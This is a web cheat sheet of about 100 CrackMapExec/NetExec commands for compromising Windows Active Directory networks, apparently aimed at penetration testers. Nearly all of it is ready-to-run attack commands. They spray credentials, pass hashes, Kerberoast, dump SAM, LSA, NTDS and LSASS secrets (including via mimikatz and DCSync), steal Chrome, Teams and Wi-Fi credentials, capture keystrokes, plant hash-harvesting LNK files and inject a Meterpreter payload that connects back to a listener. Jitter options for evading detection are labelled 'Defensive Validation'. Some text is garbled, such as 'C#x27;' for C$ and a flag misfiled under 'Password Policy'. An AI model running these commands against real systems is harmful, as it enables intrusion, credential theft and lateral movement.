Skip to content

CrackMapExec / NetExec

100 commands

The Swiss-army knife for Windows networks: spray credentials, execute commands and dump secrets across SMB, WinRM, LDAP and MSSQL. NetExec (nxc) is the maintained fork.

  • Active Directory
  • SMB
  • lateral movement

Install CrackMapExec / NetExec

sudo apt install netexec

Basic Syntax & Help8

crackmapexec -h

Displays the main help menu and available protocol options

crackmapexec smb -h

Displays specific help and options for the SMB protocol module

crackmapexec winrm -h

Displays specific help and options for the WinRM protocol module

crackmapexec ssh -h

Displays specific help and options for the SSH protocol module

crackmapexec ldap -h

Displays specific help and options for the LDAP protocol module

crackmapexec mssql -h

Displays specific help and options for the MSSQL protocol module

crackmapexec -L

Lists all available modules that can be loaded

crackmapexec smb --options

Lists available options and their current settings for the SMB protocol

Network Discovery1

crackmapexec smb 192.168.1.0/24

Performs unauthenticated discovery of SMB hosts across a network range

Authentication Testing5

crackmapexec smb 192.168.1.10 -u 'user' -p 'password'

Tests SMB login with a single cleartext username and password

Link
crackmapexec smb 192.168.1.10 -u 'users.txt' -p 'passwords.txt'

Performs a credential spray using lists of usernames and passwords

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-auth

Authenticates against the local SAM database instead of the domain controller

Link
crackmapexec smb 192.168.1.10 -u 'user' -p ''

Tests for null session or empty password access on the target

Link
crackmapexec smb 192.168.1.10 -u '' -p ''

Checks for anonymous authentication access to the target

Link

Pass-the-Hash2

crackmapexec smb 192.168.1.10 -u 'user' -H 'NTLM_HASH'

Authenticates using an NTLM hash instead of a cleartext password

Link
crackmapexec smb 192.168.1.10 -u 'user' -H 'NT_HASH'

Authenticates using only the NT portion of the hash

Link

Kerberos Authentication4

crackmapexec smb 192.168.1.10 -k

Authenticates using an existing Kerberos ticket from the KRB5CCNAME environment variable

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -k

Attempts to request a TGT and authenticate via Kerberos with supplied credentials

Link
crackmapexec smb 192.168.1.10 -u 'user' -H 'NTLM_HASH' -k

Requests a TGT using the RC4 key (NT hash) and authenticates via Kerberos

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --aesKey 'AES_KEY' -k

Authenticates via Kerberos using a specific AES256 key

Link

Enumeration11

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --shares

Lists available SMB shares and the user's access level (READ/WRITE)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sessions

Enumerates active SMB sessions on the target host

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --disks

Lists the physical disks and logic drives mounted on the target

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --loggedon-users

Enumerates users currently logged on to the target system

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --users

Enumerates all domain users via the target's SAM or LSA

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --groups

Enumerates all domain groups available on the target

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-groups

Enumerates local groups defined specifically on the target machine

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --pass-pol

Retrieves the domain password policy (complexity, lockout, history)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --rid-brute 1000

Brute forces RIDs to map users and groups when standard enumeration fails

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --check-uac

Explicitly checks if UAC limits the administrative token

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --interface

Lists network interfaces on the remote host

Link

Spidering4

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C#x27;

Spiders the C$ share listing all readable files and directories

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C#x27; --regex 'pass'

Spiders the share looking only for filenames matching a regex pattern

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --spider 'C#x27; --content

Searches inside file contents (not just filenames) during spidering

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M spider_plus

Uses the advanced spider_plus module to dump metadata and file listings to JSON

Link

WinRM Usage3

crackmapexec winrm 192.168.1.10 -u 'user' -p 'password'

Checks if WinRM authentication is possible on the target

Link
crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' -x 'whoami'

Executes a command via WinRM (often quieter than SMB exec)

Link
crackmapexec winrm 192.168.1.10 -u 'user' -p 'password' -X 'Get-Process'

Executes a PowerShell command directly via WinRM

Link

MSSQL Usage4

crackmapexec mssql 192.168.1.10 -u 'user' -p 'password'

Tests authentication against an MSSQL database instance

Link
crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' --local-auth

Authenticates to MSSQL using a local database account

Link
crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' -q 'SELECT @@VERSION'

Executes a SQL query against the target database

Link
crackmapexec mssql 192.168.1.10 -u 'user' -p 'password' -x 'whoami'

Attempts to execute system commands via xp_cmdshell on MSSQL

Link

LDAP Usage5

crackmapexec ldap 192.168.1.10 -u 'user' -p 'password'

Tests LDAP authentication against a Domain Controller

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --asreproast output.txt

Checks for AS-REP roasting vulnerabilities and saves hashes to a file

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --kerberoasting output.txt

Performs Kerberoasting against the domain and saves TGS hashes

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --trusted-for-delegation

Enumerates accounts trusted for unconstrained delegation

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --admin-count

Enumerates high-value users protected by the AdminSDHolder object

Link

Command Execution6

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -x 'ipconfig /all'

Executes a command via cmd.exe on the target system

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -X '$PSVersionTable'

Executes a command via PowerShell on the target system

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method smbexec -x 'whoami'

Forces the execution method to use smbexec (creating a service) explicitly

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method wmiexec -x 'whoami'

Forces the execution method to use wmiexec (DCOM)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method atexec -x 'whoami'

Forces the execution method to use the Task Scheduler (atexec)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --exec-method mmcexec -x 'whoami'

Forces the execution method to use MMC (Microsoft Management Console)

Link

File Operations2

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --put local_file remote_path

Uploads a file from the attacker machine to the target system

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --get remote_path local_file

Downloads a file from the target system to the attacker machine

Link

Credential Harvesting5

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sam

Dumps the SAM database to retrieve local account hashes (requires Admin)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --lsa

Dumps LSA secrets from the registry (requires Admin)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds

Attempts to parse the NTDS.dit file on a Domain Controller using Volume Shadow Copy

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds vss

Explicitly uses VSS method to dump NTDS.dit

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --ntds drsuapi

Uses the DRSUAPI replication protocol to dump domain hashes (DCSync)

Link

Modules - Enumeration3

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M enum_av

Uses a module to identify installed antivirus software on the target

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M wdigest -o ACTION=enable

Modifies registry settings to enable WDigest credential caching (requires reboot to take effect)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M uac

Checks UAC (User Account Control) configuration and status

Link

Modules - Credential Dumping4

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M lsassy

Uses the lsassy module to remotely dump LSASS memory and extract credentials

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M nanodump

Uses the nanodump module to create a minidump of LSASS with minimal footprint

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M mimikatz

Executes Mimikatz commands directly on the target (less opsec safe)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'

Runs a specific Mimikatz command via the module

Link

Modules - Vulnerability Scanning3

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M zerologon

Checks if the target Domain Controller is vulnerable to ZeroLogon (CVE-2020-1472)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M petitpotam

Checks if the target is vulnerable to PetitPotam coercion

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M nopac

Checks for the NoPac vulnerability (CVE-2021-42278/42287)

Link

Modules - Post Exploitation3

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M rdp -o ACTION=enable

Enables RDP on the target host by modifying registry keys

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M webdav

Checks if the WebClient service is running (useful for coercion attacks)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M gpp_password

Searches SYSVOL for Group Policy Preferences XML files containing decrypted passwords

Link

RDP Protocol2

crackmapexec rdp 192.168.1.10 -u 'user' -p 'password'

Tests valid credentials against the RDP service

Link
crackmapexec rdp 192.168.1.10 -u 'user' -p 'password' --screenshot

Takes a screenshot of the RDP login session if authentication succeeds

Link

Database Maintenance2

crackmapexec smb 192.168.1.0/24 --export targets.csv

Exports the internal CME database of discovered hosts to a CSV file

Link
cme-db

Launches the database viewer to manage workspaces and credentials manually

Link

Advanced Workflow5

crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --continue-on-success

Continues testing credentials against other hosts even after a success

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --no-output

Suppresses output to stdout (useful for automated scripts)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --verbose

Enables verbose logging to see detailed protocol interaction and errors

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --gpo-list

Lists Group Policy Objects applied to the machine

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M get_keystrokes

Attempts to capture keystrokes from the target user session

Link

SSH Protocol2

crackmapexec ssh 192.168.1.10 -u 'user' -p 'password'

Tests SSH authentication

Link
crackmapexec ssh 192.168.1.10 -u 'user' --key-file id_rsa

Authenticates to SSH using a private key file

Link

FTP Protocol2

crackmapexec ftp 192.168.1.10 -u 'user' -p 'password'

Tests authentication against an FTP server

Link
crackmapexec ftp 192.168.1.10 -u 'user' -p 'password' --ls

Lists files in the FTP root directory after authentication

Link

BloodHound Integration2

crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --bloodhound

Runs the BloodHound ingestor via LDAP to collect domain relationships

Link
crackmapexec ldap 192.168.1.10 -u 'user' -p 'password' --bloodhound -c All

Collects all BloodHound data points (Sessions, LocalAdmins, etc)

Link

Password Policy1

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --force-ps32

Forces PowerShell execution to use the 32-bit process

Link

Defensive Validation2

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --jitter 5

Adds a random delay (jitter) between actions to evade simple timing detection

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --sleep 10

Sleeps for a specific duration between hosts in a range scan

Link

Lateral Movement2

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M met_inject -o LHOST=192.168.1.5 LPORT=4444

Injects a Meterpreter payload into memory (requires Listener)

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M slinky

Creates LNK files on shares to harvest NTLMv2 hashes from users who browse them

Link

Module - Teams1

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M teams_localdb

Parses local Microsoft Teams database for cookies and tokens

Link

Module - Chrome1

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M chrome

Decrypts Chrome passwords and cookies (requires user session)

Link

Module - Wifi1

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -M wifi

Extracts saved Wi-Fi profiles and cleartext keys

Link

Cleanup2

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --rm local_file

Deletes a specific file from the remote target

Link
crackmapexec smb 192.168.1.10 -u 'user' -p 'password' -x 'taskkill /IM process.exe /F'

Forcefully kills a running process to clean up execution artifacts

Link

Automation1

crackmapexec smb 192.168.1.0/24 -u 'user' -p 'password' --continue-on-success --log cme.log

Runs a sweep and logs all output to a file for later analysis

Link

Final1

crackmapexec smb 192.168.1.10 -u 'user' -p 'password' --local-auth --sam --lsa --ntds

Combines multiple dumping flags in a single execution for efficiency

Link